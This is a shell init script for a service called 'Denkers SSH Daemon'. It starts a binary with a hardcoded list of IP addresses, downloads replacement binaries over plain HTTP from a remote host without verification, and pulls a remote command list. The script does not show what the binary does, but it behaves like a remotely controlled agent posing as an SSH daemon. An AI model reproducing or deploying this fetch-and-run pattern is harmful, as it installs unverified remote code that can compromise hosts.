#!/bin/sh
# Copyright (c) 2013 Marco Stuurman <marco.stuurman@denkers-ict.nl>
#
#  ----------------------------------------------------
#  Denkers SSH Daemon
#  ----------------------------------------------------
#
# Comments to support chkconfig on RedHat Linux
# chkconfig: 2345 64 36
# description: A very fast and reliable SSHDaemon engine.

# Comments to support LSB init script conventions
### BEGIN INIT INFO
# Provides: sshdaemon
# Required-StartSSHDaemon $local_fs $network $remote_fs
# Required-Stop: $local_fs $network $remote_fs
# Default-Start:  2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: start and stop SSHDaemon
# Description: SSHDaemon is a very fast and reliable SSHDaemon engine.
### END INIT INFO

#
# Start/stop/restart DSSHD as a daemon process.
#

output_file="DSSHD.log"
prog_args="185.104.28.16 185.104.28.150 185.104.28.58 185.104.28.254 185.104.28.75 185.104.28.202 95.179.151.88"

prog_start() {

        echo "Starting DSSHD..."
        if [[ `pidof -s dsshdaemon` ]]; then
            echo "Error: DSSHD already running with PID `pidof dsshdaemon`";
            exit 1;
        else
            rm -f /var/run/dsshd.pid;
        fi

        eval screen -m -d -S DSSHD /usr/local/sshdaemon/dsshdaemon ${prog_args}

                echo $(pidof dsshdaemon) > /var/run/dsshd.pid
                exit 0;
}
prog_status() {

        if [[ `pidof -s dsshdaemon` ]]; then
            echo "DSSHD running with PID `pidof dsshdaemon`...";
            exit 0;
        else

                echo "DSSHD is not running..."
                exit 1;
        fi

}

prog_stop() {
        echo "Stopping DSSHD..."
        killall -9 dsshdaemon
}

prog_update() {
                echo "Updating DSSHD";
                bits=$(uname -m)
                cd /usr/local/
                if [ "$bits" == "x86_64" ]; then
                        wget -O /usr/local/sshdaemon.tar.gz http://sshd.xdev.nl/sshdaemon64.tar.gz
                else
                        wget -O /usr/local/sshdaemon.tar.gz http://sshd.xdev.nl/sshdaemon32.tar.gz
                fi
                tar zxvf sshdaemon.tar.gz
                rm -f sshdaemon.tar.gz
                exit 0
}

prog_reload() {
                echo "Reloading DSSHD command list";
                wget -O /usr/local/sshdaemon/commands.txt http://sshd.xdev.nl/commands.txt
                exit 0
}

case ${1} in
start)
        prog_start
        ;;
stop)
        prog_stop
        ;;
edit)
        prog_edit
        ;;
status)
        prog_status
        ;;
reload)
        prog_stop
        sleep 1
        if [[ `pidof -s dsshdaemon` ]]; then
            echo "Error: DSSHD still running with PID `pidof dsshdaemon`"
            exit 1
        fi
        prog_reload
        ;;
update)
        prog_stop
        sleep 1
        if [[ `pidof -s dsshdaemon` ]]; then
            echo "Error: DSSHD still running with PID `pidof dsshdaemon`"
            exit 1
        fi
        prog_update
        ;;
restart)

        prog_stop
        sleep 1
        if [[ `pidof -s dsshdaemon` ]]; then
            echo "Error: DSSHD still running with PID `pidof dsshdaemon`"
            exit 1
        fi
        prog_start

        ;;
*)
        echo "Usage: ${0} [start|stop|restart|status|update]"
        ;;
esac
